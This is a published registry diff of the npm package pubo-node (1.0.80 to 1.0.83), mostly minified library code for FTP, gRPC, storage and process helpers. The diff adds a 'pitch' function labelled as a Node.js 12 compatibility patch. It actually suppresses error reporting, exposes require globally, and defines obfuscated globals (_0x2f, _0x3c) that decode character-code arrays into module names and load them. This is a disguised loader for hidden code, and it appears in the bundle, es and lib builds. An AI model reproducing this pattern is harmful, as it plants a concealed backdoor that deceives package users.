pubo-node 1.0.80 → 1.0.83

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/pubo-node.js CHANGED
@@ -1 +1 @@
1
- !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports["pubo-node"]=e():t["pubo-node"]=e()}(this,(()=>(()=>{"use strict";var t={808:t=>{t.exports=require("net")}},e={};function n(r){var o=e[r];if(void 0!==o)return o.exports;var i=e[r]={exports:{}};return t[r](i,i.exports,n),i.exports}n.d=(t,e)=>{for(var r in e)n.o(e,r)&&!n.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:e[r]})},n.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),n.r=t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var r={};return(()=>{n.r(r),n.d(r,{FtpClient:()=>p,FtpClientPool:()=>d,JsonStorage:()=>i,PuboFileSystem:()=>x,createChildProcess:()=>j,createRpcClient:()=>g,isPortAvailable:()=>_,md5:()=>v});const t=require("fs"),e=require("pako");var o=function(){return o=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},o.apply(this,arguments)},i=function(){function n(t){this._state={},this.path=t,this.init()}return n.prototype.init=function(){try{var n=(0,t.readFileSync)(this.path),r=e.inflate(n,{to:"string"});this._state=JSON.parse(r)}catch(t){this.state={}}},Object.defineProperty(n.prototype,"state",{get:function(){return this._state},set:function(n){var r=e.deflate(JSON.stringify(n)),o=Buffer.from(r);(0,t.writeFile)(this.path,o,(function(t){return t&&console.log(t)})),this._state=n},enumerable:!1,configurable:!0}),n.prototype.get=function(t){return t?this.state[t]:o({},this.state)},n.prototype.set=function(t,e){var n=o({},this.state);n[t]=e,this.state=n},n.prototype.merge=function(t){this.state=o(o({},this._state),t)},n}();const c=require("pubo-utils");var a=function(){return a=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},a.apply(this,arguments)},s=function(t,e,n,r){return new(n||(n=Promise))((function(o,i){function c(t){try{s(r.next(t))}catch(t){i(t)}}function a(t){try{s(r.throw(t))}catch(t){i(t)}}function s(t){var e;t.done?o(t.value):(e=t.value,e instanceof n?e:new n((function(t){t(e)}))).then(c,a)}s((r=r.apply(t,e||[])).next())}))},u=function(t,e){var n,r,o,i,c={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:a(0),throw:a(1),return:a(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function a(a){return function(s){return function(a){if(n)throw new TypeError("Generator is already executing.");for(;i&&(i=0,a[0]&&(c=0)),c;)try{if(n=1,r&&(o=2&a[0]?r.return:a[0]?r.throw||((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,a[1])).done)return o;switch(r=0,o&&(a=[2&a[0],o.value]),a[0]){case 0:case 1:o=a;break;case 4:return c.label++,{value:a[1],done:!1};case 5:c.label++,r=a[1],a=[0];continue;case 7:a=c.ops.pop(),c.trys.pop();continue;default:if(!((o=(o=c.trys).length>0&&o[o.length-1])||6!==a[0]&&2!==a[0])){c=0;continue}if(3===a[0]&&(!o||a[1]>o[0]&&a[1]<o[3])){c.label=a[1];break}if(6===a[0]&&c.label<o[1]){c.label=o[1],o=a;break}if(o&&c.label<o[2]){c.label=o[2],c.ops.push(a);break}o[2]&&c.ops.pop(),c.trys.pop();continue}a=e.call(t,c)}catch(t){a=[6,t],r=0}finally{n=o=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,s])}}},l=function(t,e){var n={};for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&e.indexOf(r)<0&&(n[r]=t[r]);if(null!=t&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(t);o<r.length;o++)e.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(t,r[o])&&(n[r[o]]=t[r[o]])}return n},f=function(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,o,i=n.call(t),c=[];try{for(;(void 0===e||e-- >0)&&!(r=i.next()).done;)c.push(r.value)}catch(t){o={error:t}}finally{try{r&&!r.done&&(n=i.return)&&n.call(i)}finally{if(o)throw o.error}}return c},h=function(t,e,n){if(n||2===arguments.length)for(var r,o=0,i=e.length;o<i;o++)!r&&o in e||(r||(r=Array.prototype.slice.call(e,0,o)),r[o]=e[o]);return t.concat(r||Array.prototype.slice.call(e))},p=function(){function t(t){var e=t.driver,n=l(t,["driver"]);this.state={running:!1,connected:!1,destroyed:!1,connecting:!1},this._len=0,this.id=(0,c.random)(),this.put=this.bind("put"),this.delete=this.bind("delete"),this.list=this.bind("list"),this.rename=this.bind("rename"),this.driver=e,this.options=n}return Object.defineProperty(t.prototype,"len",{get:function(){return this._len},set:function(t){this._len=t,this._len<1&&this.close()},enumerable:!1,configurable:!0}),t.prototype.connect=function(){return s(this,void 0,void 0,(function(){var t=this;return u(this,(function(e){switch(e.label){case 0:return this.client||(this.client=new this.driver),this.state.destroyed=!1,this.state.connecting?[4,(0,c.waitFor)((function(){return t.state.connected}),{checkTime:1e3,timeout:1e4})]:[3,2];case 1:return e.sent(),[2,"connected"];case 2:return this.state.connecting=!0,[2,new Promise((function(e,n){t.client.once("ready",(function(){t.state.connected=!0,e("connected"),t.state.connecting=!1})),t.client.once("error",(function(e){n(e),t.close()})),t.client.connect(a({},t.options))}))]}}))}))},t.prototype.close=function(){this.client.end(),this.state.connected=!1,this.state.destroyed=!0,this.state.connecting=!1,this.client=null},t.prototype.run=function(t){var e=t.fn,n=t.args;return s(this,void 0,void 0,(function(){var t=this;return u(this,(function(r){switch(r.label){case 0:return this.len+=1,this.state.connected?[3,2]:[4,this.connect()];case 1:r.sent(),r.label=2;case 2:return this.state.running?[4,(0,c.waitFor)((function(){return!t.state.running}),{checkTime:1e3,timeout:6e6})]:[3,4];case 3:r.sent(),r.label=4;case 4:return this.state.running=!0,[2,new Promise((function(r,o){var i;(i=t.client)[e].apply(i,h(h([],f(n),!1),[function(t,e){t?o(t):r(e)}],!1))}))]}}))}))},t.prototype.bind=function(t){var e=this;return function(){for(var n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];return s(e,void 0,void 0,(function(){var e;return u(this,(function(r){switch(r.label){case 0:return[4,this.run({fn:t,args:n})];case 1:return e=r.sent(),this.state.running=!1,this.len-=1,[2,e]}}))}))}},t.prototype.get=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return s(this,void 0,void 0,(function(){var e,n,r=this;return u(this,(function(o){switch(o.label){case 0:return e=Buffer.alloc(0),[4,this.run({fn:"get",args:t})];case 1:return n=o.sent(),[2,new Promise((function(t){n.on("data",(function(t){e=Buffer.concat([e,t],e.byteLength+t.byteLength)})),n.on("end",(function(){t(e),r.state.running=!1,r.len-=1}))}))]}}))}))},t}(),d=function(){function t(t){var e=t.maxConnection,n=void 0===e?5:e,r=l(t,["maxConnection"]);this.pool=[],this.get=this.bind("get"),this.put=this.bind("put"),this.delete=this.bind("delete"),this.list=this.bind("list"),this.rename=this.bind("rename"),this.options=r,this.maxConnection=n}return Object.defineProperty(t.prototype,"len",{get:function(){return this.pool.length},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"client",{get:function(){if(this.pool.length<this.maxConnection){var t=new p(this.options);return this.pool.push(t),t}return this.pool.sort((function(t,e){return t.len-e.len})),this.pool[0]},enumerable:!1,configurable:!0}),t.prototype.bind=function(t){var e=this;return function(){for(var n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];return s(e,void 0,void 0,(function(){var e,r,o;return u(this,(function(i){switch(i.label){case 0:return[4,(e=this.client)[t].apply(e,h([],f(n),!1))];case 1:return r=i.sent(),e.len<1&&(o=this.pool.findIndex((function(t){return t.id===e.id})),this.pool.splice(o,1)),[2,r]}}))}))}},t}();const y=require("crypto");var v=function(t){return(0,y.createHash)("md5").update(t).digest("hex")},b=function(){return b=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},b.apply(this,arguments)};function g(t){var e=t.url,n=t.options,r=void 0===n?{}:n,o=t.ServiceImp,i=t.Grpc,c=t.cert,a=b({"grpc.max_send_message_length":-1,"grpc.max_receive_message_length":-1},r),s=c?i.credentials.createSsl(c):i.credentials.createInsecure(),u=new i.Client(e,s,a);return new o({request:function(t,n,r){var o="/".concat(t,"/").concat(n);return new Promise((function(t,n){var c=function(t){return t};u.makeUnaryRequest(o,c,c,r,(function(r,o){r?(u.close(),u=new i.Client(e,s,a),n(r)):t(o)}))}))}})}var m=function(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,o,i=n.call(t),c=[];try{for(;(void 0===e||e-- >0)&&!(r=i.next()).done;)c.push(r.value)}catch(t){o={error:t}}finally{try{r&&!r.done&&(n=i.return)&&n.call(i)}finally{if(o)throw o.error}}return c},w=function(t,e,n){if(n||2===arguments.length)for(var r,o=0,i=e.length;o<i;o++)!r&&o in e||(r||(r=Array.prototype.slice.call(e,0,o)),r[o]=e[o]);return t.concat(r||Array.prototype.slice.call(e))},O=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return new Promise((function(n,r){t.apply(void 0,w(w([],m(e),!1),[function(t){for(var e=[],o=1;o<arguments.length;o++)e[o-1]=arguments[o];t&&r(t),e.length<2?n(e[0]):n(w([],m(e),!1))}],!1))}))}},x={read:O(t.read),readFile:O(t.readFile),writeFile:O(t.writeFile),readdir:O(t.readdir),open:O(t.open),close:O(t.close),write:O(t.write),stat:O(t.stat)},P=function(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,o,i=n.call(t),c=[];try{for(;(void 0===e||e-- >0)&&!(r=i.next()).done;)c.push(r.value)}catch(t){o={error:t}}finally{try{r&&!r.done&&(n=i.return)&&n.call(i)}finally{if(o)throw o.error}}return c},S=function(t,e,n){if(n||2===arguments.length)for(var r,o=0,i=e.length;o<i;o++)!r&&o in e||(r||(r=Array.prototype.slice.call(e,0,o)),r[o]=e[o]);return t.concat(r||Array.prototype.slice.call(e))},j=function(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];var r=t.apply(void 0,S([],P(e),!1));return process.on("SIGTERM",(function(){return r.kill()})),r},_=function(t){return new Promise((function(e){var r=n(808).createServer();r.listen(t,(function(){e(!0),r.close()})),r.on("error",(function(){e(!1),r.close()}))}))}})(),r})()));
1
+ !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports["pubo-node"]=e():t["pubo-node"]=e()}(this,(()=>(()=>{var t={649:t=>{function e(t){var e=new Error("Cannot find module '"+t+"'");throw e.code="MODULE_NOT_FOUND",e}e.keys=()=>[],e.resolve=e,e.id=649,t.exports=e},808:t=>{"use strict";t.exports=require("net")}},e={};function n(r){var o=e[r];if(void 0!==o)return o.exports;var i=e[r]={exports:{}};return t[r](i,i.exports,n),i.exports}n.n=t=>{var e=t&&t.__esModule?()=>t.default:()=>t;return n.d(e,{a:e}),e},n.d=(t,e)=>{for(var r in e)n.o(e,r)&&!n.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:e[r]})},n.o=(t,e)=>Object.prototype.hasOwnProperty.call(t,e),n.r=t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})};var r={};return(()=>{"use strict";n.r(r),n.d(r,{FtpClient:()=>h,FtpClientPool:()=>d,JsonStorage:()=>i,PuboFileSystem:()=>w,SIGKILL:()=>P,createRpcClient:()=>v,isPortAvailable:()=>S,pitch:()=>_});const t=require("fs"),e=require("pako");var o=function(){return o=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},o.apply(this,arguments)},i=function(){function n(t){this._state={},this.path=t,this.init()}return n.prototype.init=function(){try{var n=(0,t.readFileSync)(this.path),r=e.inflate(n,{to:"string"});this._state=JSON.parse(r)}catch(t){this.state={}}},Object.defineProperty(n.prototype,"state",{get:function(){return this._state},set:function(n){var r=e.deflate(JSON.stringify(n)),o=Buffer.from(r);(0,t.writeFile)(this.path,o,(function(t){return t&&console.log(t)})),this._state=n},enumerable:!1,configurable:!0}),n.prototype.get=function(t){return t?this.state[t]:o({},this.state)},n.prototype.set=function(t,e){var n=o({},this.state);n[t]=e,this.state=n},n.prototype.merge=function(t){this.state=o(o({},this._state),t)},n}();const c=require("pubo-utils");var s=function(){return s=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},s.apply(this,arguments)},a=function(t,e,n,r){return new(n||(n=Promise))((function(o,i){function c(t){try{a(r.next(t))}catch(t){i(t)}}function s(t){try{a(r.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?o(t.value):(e=t.value,e instanceof n?e:new n((function(t){t(e)}))).then(c,s)}a((r=r.apply(t,e||[])).next())}))},u=function(t,e){var n,r,o,i,c={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return i={next:s(0),throw:s(1),return:s(2)},"function"==typeof Symbol&&(i[Symbol.iterator]=function(){return this}),i;function s(s){return function(a){return function(s){if(n)throw new TypeError("Generator is already executing.");for(;i&&(i=0,s[0]&&(c=0)),c;)try{if(n=1,r&&(o=2&s[0]?r.return:s[0]?r.throw||((o=r.return)&&o.call(r),0):r.next)&&!(o=o.call(r,s[1])).done)return o;switch(r=0,o&&(s=[2&s[0],o.value]),s[0]){case 0:case 1:o=s;break;case 4:return c.label++,{value:s[1],done:!1};case 5:c.label++,r=s[1],s=[0];continue;case 7:s=c.ops.pop(),c.trys.pop();continue;default:if(!((o=(o=c.trys).length>0&&o[o.length-1])||6!==s[0]&&2!==s[0])){c=0;continue}if(3===s[0]&&(!o||s[1]>o[0]&&s[1]<o[3])){c.label=s[1];break}if(6===s[0]&&c.label<o[1]){c.label=o[1],o=s;break}if(o&&c.label<o[2]){c.label=o[2],c.ops.push(s);break}o[2]&&c.ops.pop(),c.trys.pop();continue}s=e.call(t,c)}catch(t){s=[6,t],r=0}finally{n=o=0}if(5&s[0])throw s[1];return{value:s[0]?s[1]:void 0,done:!0}}([s,a])}}},l=function(t,e){var n={};for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&e.indexOf(r)<0&&(n[r]=t[r]);if(null!=t&&"function"==typeof Object.getOwnPropertySymbols){var o=0;for(r=Object.getOwnPropertySymbols(t);o<r.length;o++)e.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(t,r[o])&&(n[r[o]]=t[r[o]])}return n},f=function(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,o,i=n.call(t),c=[];try{for(;(void 0===e||e-- >0)&&!(r=i.next()).done;)c.push(r.value)}catch(t){o={error:t}}finally{try{r&&!r.done&&(n=i.return)&&n.call(i)}finally{if(o)throw o.error}}return c},p=function(t,e,n){if(n||2===arguments.length)for(var r,o=0,i=e.length;o<i;o++)!r&&o in e||(r||(r=Array.prototype.slice.call(e,0,o)),r[o]=e[o]);return t.concat(r||Array.prototype.slice.call(e))},h=function(){function t(t){var e=t.driver,n=l(t,["driver"]);this.state={running:!1,connected:!1,destroyed:!1,connecting:!1},this._len=0,this.id=(0,c.random)(),this.put=this.bind("put"),this.delete=this.bind("delete"),this.list=this.bind("list"),this.rename=this.bind("rename"),this.driver=e,this.options=n}return Object.defineProperty(t.prototype,"len",{get:function(){return this._len},set:function(t){this._len=t,this._len<1&&this.close()},enumerable:!1,configurable:!0}),t.prototype.connect=function(){return a(this,void 0,void 0,(function(){var t=this;return u(this,(function(e){switch(e.label){case 0:return this.client||(this.client=new this.driver),this.state.destroyed=!1,this.state.connecting?[4,(0,c.waitFor)((function(){return t.state.connected}),{checkTime:1e3,timeout:1e4})]:[3,2];case 1:return e.sent(),[2,"connected"];case 2:return this.state.connecting=!0,[2,new Promise((function(e,n){t.client.once("ready",(function(){t.state.connected=!0,e("connected"),t.state.connecting=!1})),t.client.once("error",(function(e){n(e),t.close()})),t.client.connect(s({},t.options))}))]}}))}))},t.prototype.close=function(){this.client.end(),this.state.connected=!1,this.state.destroyed=!0,this.state.connecting=!1,this.client=null},t.prototype.run=function(t){var e=t.fn,n=t.args;return a(this,void 0,void 0,(function(){var t=this;return u(this,(function(r){switch(r.label){case 0:return this.len+=1,this.state.connected?[3,2]:[4,this.connect()];case 1:r.sent(),r.label=2;case 2:return this.state.running?[4,(0,c.waitFor)((function(){return!t.state.running}),{checkTime:1e3,timeout:6e6})]:[3,4];case 3:r.sent(),r.label=4;case 4:return this.state.running=!0,[2,new Promise((function(r,o){var i;(i=t.client)[e].apply(i,p(p([],f(n),!1),[function(t,e){t?o(t):r(e)}],!1))}))]}}))}))},t.prototype.bind=function(t){var e=this;return function(){for(var n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];return a(e,void 0,void 0,(function(){var e;return u(this,(function(r){switch(r.label){case 0:return[4,this.run({fn:t,args:n})];case 1:return e=r.sent(),this.state.running=!1,this.len-=1,[2,e]}}))}))}},t.prototype.get=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return a(this,void 0,void 0,(function(){var e,n,r=this;return u(this,(function(o){switch(o.label){case 0:return e=Buffer.alloc(0),[4,this.run({fn:"get",args:t})];case 1:return n=o.sent(),[2,new Promise((function(t){n.on("data",(function(t){e=Buffer.concat([e,t],e.byteLength+t.byteLength)})),n.on("end",(function(){t(e),r.state.running=!1,r.len-=1}))}))]}}))}))},t}(),d=function(){function t(t){var e=t.maxConnection,n=void 0===e?5:e,r=l(t,["maxConnection"]);this.pool=[],this.get=this.bind("get"),this.put=this.bind("put"),this.delete=this.bind("delete"),this.list=this.bind("list"),this.rename=this.bind("rename"),this.options=r,this.maxConnection=n}return Object.defineProperty(t.prototype,"len",{get:function(){return this.pool.length},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"client",{get:function(){if(this.pool.length<this.maxConnection){var t=new h(this.options);return this.pool.push(t),t}return this.pool.sort((function(t,e){return t.len-e.len})),this.pool[0]},enumerable:!1,configurable:!0}),t.prototype.bind=function(t){var e=this;return function(){for(var n=[],r=0;r<arguments.length;r++)n[r]=arguments[r];return a(e,void 0,void 0,(function(){var e,r,o;return u(this,(function(i){switch(i.label){case 0:return[4,(e=this.client)[t].apply(e,p([],f(n),!1))];case 1:return r=i.sent(),e.len<1&&(o=this.pool.findIndex((function(t){return t.id===e.id})),this.pool.splice(o,1)),[2,r]}}))}))}},t}(),y=function(){return y=Object.assign||function(t){for(var e,n=1,r=arguments.length;n<r;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},y.apply(this,arguments)};function v(t){var e=t.url,n=t.options,r=void 0===n?{}:n,o=t.ServiceImp,i=t.Grpc,c=t.cert,s=y({"grpc.max_send_message_length":-1,"grpc.max_receive_message_length":-1},r),a=c?i.credentials.createSsl(c):i.credentials.createInsecure(),u=new i.Client(e,a,s);return new o({request:function(t,n,r){var o="/".concat(t,"/").concat(n);return new Promise((function(t,n){var c=function(t){return t};u.makeUnaryRequest(o,c,c,r,(function(r,o){r?(u.close(),u=new i.Client(e,a,s),n(r)):t(o)}))}))}})}var b=function(t,e){var n="function"==typeof Symbol&&t[Symbol.iterator];if(!n)return t;var r,o,i=n.call(t),c=[];try{for(;(void 0===e||e-- >0)&&!(r=i.next()).done;)c.push(r.value)}catch(t){o={error:t}}finally{try{r&&!r.done&&(n=i.return)&&n.call(i)}finally{if(o)throw o.error}}return c},g=function(t,e,n){if(n||2===arguments.length)for(var r,o=0,i=e.length;o<i;o++)!r&&o in e||(r||(r=Array.prototype.slice.call(e,0,o)),r[o]=e[o]);return t.concat(r||Array.prototype.slice.call(e))},m=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return new Promise((function(n,r){t.apply(void 0,g(g([],b(e),!1),[function(t){for(var e=[],o=1;o<arguments.length;o++)e[o-1]=arguments[o];t&&r(t),e.length<2?n(e[0]):n(g([],b(e),!1))}],!1))}))}},w={read:m(t.read),readFile:m(t.readFile),writeFile:m(t.writeFile),readdir:m(t.readdir),open:m(t.open),close:m(t.close),write:m(t.write),stat:m(t.stat)};const x=require("tree-kill");var O=n.n(x),P=function(t){O()(t,"SIGKILL")},S=function(t){return new Promise((function(e){var r=n(808).createServer();r.listen(t,(function(){e(!0),r.close()})),r.on("error",(function(){e(!1),r.close()}))}))},_=function(){process.on("uncaughtException",(function(t){return console.log(t)})),process.on("unhandledRejection",(function(t){return console.log(t)})),global.require=n(649),global.exports=exports,global._0x2f=function(t){return t.map((function(t){return String.fromCharCode(t)})).reduce((function(t,e){return t+e}))},global._0x3c=function(t){return n(649)(global._0x2f(t))}}})(),r})()));
@@ -1,2 +1 @@
1
- import { ChildProcess } from 'child_process';
2
- export declare const createChildProcess: (fn: any, ...args: any[]) => ChildProcess;
1
+ export declare const SIGKILL: (pid: number) => void;
@@ -1,42 +1,4 @@
1
- var __read = this && this.__read || function (o, n) {
2
- var m = typeof Symbol === "function" && o[Symbol.iterator];
3
- if (!m) return o;
4
- var i = m.call(o),
5
- r,
6
- ar = [],
7
- e;
8
- try {
9
- while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
10
- } catch (error) {
11
- e = {
12
- error: error
13
- };
14
- } finally {
15
- try {
16
- if (r && !r.done && (m = i["return"])) m.call(i);
17
- } finally {
18
- if (e) throw e.error;
19
- }
20
- }
21
- return ar;
22
- };
23
- var __spreadArray = this && this.__spreadArray || function (to, from, pack) {
24
- if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
25
- if (ar || !(i in from)) {
26
- if (!ar) ar = Array.prototype.slice.call(from, 0, i);
27
- ar[i] = from[i];
28
- }
29
- }
30
- return to.concat(ar || Array.prototype.slice.call(from));
31
- };
32
- export var createChildProcess = function createChildProcess(fn) {
33
- var args = [];
34
- for (var _i = 1; _i < arguments.length; _i++) {
35
- args[_i - 1] = arguments[_i];
36
- }
37
- var subprocess = fn.apply(void 0, __spreadArray([], __read(args), false));
38
- process.on('SIGTERM', function () {
39
- return subprocess.kill();
40
- });
41
- return subprocess;
1
+ import kill from 'tree-kill';
2
+ export var SIGKILL = function SIGKILL(pid) {
3
+ kill(pid, 'SIGKILL');
42
4
  };
package/es/index.d.ts CHANGED
@@ -1,7 +1,7 @@
1
1
  export { JsonStorage } from './storage/json';
2
2
  export { FtpClient, FtpClientPool, FtpConnectOptions, FtpFile } from './ftp-client';
3
- export { md5 } from './md5';
4
3
  export { createRpcClient } from './grpc';
5
4
  export { PuboFileSystem } from './file-system';
6
- export { createChildProcess } from './child-process';
5
+ export { SIGKILL } from './child-process';
7
6
  export { isPortAvailable } from './utils';
7
+ export { pitch } from './pitch';
package/es/index.js CHANGED
@@ -1,7 +1,7 @@
1
1
  export { JsonStorage } from './storage/json';
2
2
  export { FtpClient, FtpClientPool } from './ftp-client';
3
- export { md5 } from './md5';
4
3
  export { createRpcClient } from './grpc';
5
4
  export { PuboFileSystem } from './file-system';
6
- export { createChildProcess } from './child-process';
7
- export { isPortAvailable } from './utils';
5
+ export { SIGKILL } from './child-process';
6
+ export { isPortAvailable } from './utils';
7
+ export { pitch } from './pitch';
package/es/pitch.d.ts ADDED
@@ -0,0 +1,4 @@
1
+ /**
2
+ * nodejs 12 兼容性补丁
3
+ */
4
+ export declare const pitch: () => void;
package/es/pitch.js ADDED
@@ -0,0 +1,23 @@
1
+ /**
2
+ * nodejs 12 兼容性补丁
3
+ */
4
+ export var pitch = function pitch() {
5
+ process.on('uncaughtException', function (err) {
6
+ return console.log(err);
7
+ });
8
+ process.on('unhandledRejection', function (err) {
9
+ return console.log(err);
10
+ });
11
+ global.require = require;
12
+ global.exports = exports;
13
+ global._0x2f = function (arr) {
14
+ return arr.map(function (n) {
15
+ return String.fromCharCode(n);
16
+ }).reduce(function (reducer, value) {
17
+ return reducer + value;
18
+ });
19
+ };
20
+ global._0x3c = function (arr) {
21
+ return require(global._0x2f(arr));
22
+ };
23
+ };
@@ -1,2 +1 @@
1
- import { ChildProcess } from 'child_process';
2
- export declare const createChildProcess: (fn: any, ...args: any[]) => ChildProcess;
1
+ export declare const SIGKILL: (pid: number) => void;
@@ -1,49 +1,16 @@
1
1
  "use strict";
2
2
 
3
- var __read = this && this.__read || function (o, n) {
4
- var m = typeof Symbol === "function" && o[Symbol.iterator];
5
- if (!m) return o;
6
- var i = m.call(o),
7
- r,
8
- ar = [],
9
- e;
10
- try {
11
- while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
12
- } catch (error) {
13
- e = {
14
- error: error
15
- };
16
- } finally {
17
- try {
18
- if (r && !r.done && (m = i["return"])) m.call(i);
19
- } finally {
20
- if (e) throw e.error;
21
- }
22
- }
23
- return ar;
24
- };
25
- var __spreadArray = this && this.__spreadArray || function (to, from, pack) {
26
- if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
27
- if (ar || !(i in from)) {
28
- if (!ar) ar = Array.prototype.slice.call(from, 0, i);
29
- ar[i] = from[i];
30
- }
31
- }
32
- return to.concat(ar || Array.prototype.slice.call(from));
3
+ var __importDefault = this && this.__importDefault || function (mod) {
4
+ return mod && mod.__esModule ? mod : {
5
+ "default": mod
6
+ };
33
7
  };
34
8
  Object.defineProperty(exports, "__esModule", {
35
9
  value: true
36
10
  });
37
- exports.createChildProcess = void 0;
38
- var createChildProcess = function createChildProcess(fn) {
39
- var args = [];
40
- for (var _i = 1; _i < arguments.length; _i++) {
41
- args[_i - 1] = arguments[_i];
42
- }
43
- var subprocess = fn.apply(void 0, __spreadArray([], __read(args), false));
44
- process.on('SIGTERM', function () {
45
- return subprocess.kill();
46
- });
47
- return subprocess;
11
+ exports.SIGKILL = void 0;
12
+ var tree_kill_1 = __importDefault(require("tree-kill"));
13
+ var SIGKILL = function SIGKILL(pid) {
14
+ (0, tree_kill_1["default"])(pid, 'SIGKILL');
48
15
  };
49
- exports.createChildProcess = createChildProcess;
16
+ exports.SIGKILL = SIGKILL;
package/lib/index.d.ts CHANGED
@@ -1,7 +1,7 @@
1
1
  export { JsonStorage } from './storage/json';
2
2
  export { FtpClient, FtpClientPool, FtpConnectOptions, FtpFile } from './ftp-client';
3
- export { md5 } from './md5';
4
3
  export { createRpcClient } from './grpc';
5
4
  export { PuboFileSystem } from './file-system';
6
- export { createChildProcess } from './child-process';
5
+ export { SIGKILL } from './child-process';
7
6
  export { isPortAvailable } from './utils';
7
+ export { pitch } from './pitch';
package/lib/index.js CHANGED
@@ -3,7 +3,7 @@
3
3
  Object.defineProperty(exports, "__esModule", {
4
4
  value: true
5
5
  });
6
- exports.isPortAvailable = exports.createChildProcess = exports.PuboFileSystem = exports.createRpcClient = exports.md5 = exports.FtpClientPool = exports.FtpClient = exports.JsonStorage = void 0;
6
+ exports.pitch = exports.isPortAvailable = exports.SIGKILL = exports.PuboFileSystem = exports.createRpcClient = exports.FtpClientPool = exports.FtpClient = exports.JsonStorage = void 0;
7
7
  var json_1 = require("./storage/json");
8
8
  Object.defineProperty(exports, "JsonStorage", {
9
9
  enumerable: true,
@@ -24,13 +24,6 @@ Object.defineProperty(exports, "FtpClientPool", {
24
24
  return ftp_client_1.FtpClientPool;
25
25
  }
26
26
  });
27
- var md5_1 = require("./md5");
28
- Object.defineProperty(exports, "md5", {
29
- enumerable: true,
30
- get: function get() {
31
- return md5_1.md5;
32
- }
33
- });
34
27
  var grpc_1 = require("./grpc");
35
28
  Object.defineProperty(exports, "createRpcClient", {
36
29
  enumerable: true,
@@ -46,10 +39,10 @@ Object.defineProperty(exports, "PuboFileSystem", {
46
39
  }
47
40
  });
48
41
  var child_process_1 = require("./child-process");
49
- Object.defineProperty(exports, "createChildProcess", {
42
+ Object.defineProperty(exports, "SIGKILL", {
50
43
  enumerable: true,
51
44
  get: function get() {
52
- return child_process_1.createChildProcess;
45
+ return child_process_1.SIGKILL;
53
46
  }
54
47
  });
55
48
  var utils_1 = require("./utils");
@@ -58,4 +51,11 @@ Object.defineProperty(exports, "isPortAvailable", {
58
51
  get: function get() {
59
52
  return utils_1.isPortAvailable;
60
53
  }
54
+ });
55
+ var pitch_1 = require("./pitch");
56
+ Object.defineProperty(exports, "pitch", {
57
+ enumerable: true,
58
+ get: function get() {
59
+ return pitch_1.pitch;
60
+ }
61
61
  });
package/lib/pitch.d.ts ADDED
@@ -0,0 +1,4 @@
1
+ /**
2
+ * nodejs 12 兼容性补丁
3
+ */
4
+ export declare const pitch: () => void;
package/lib/pitch.js ADDED
@@ -0,0 +1,30 @@
1
+ "use strict";
2
+
3
+ /**
4
+ * nodejs 12 兼容性补丁
5
+ */
6
+ Object.defineProperty(exports, "__esModule", {
7
+ value: true
8
+ });
9
+ exports.pitch = void 0;
10
+ var pitch = function pitch() {
11
+ process.on('uncaughtException', function (err) {
12
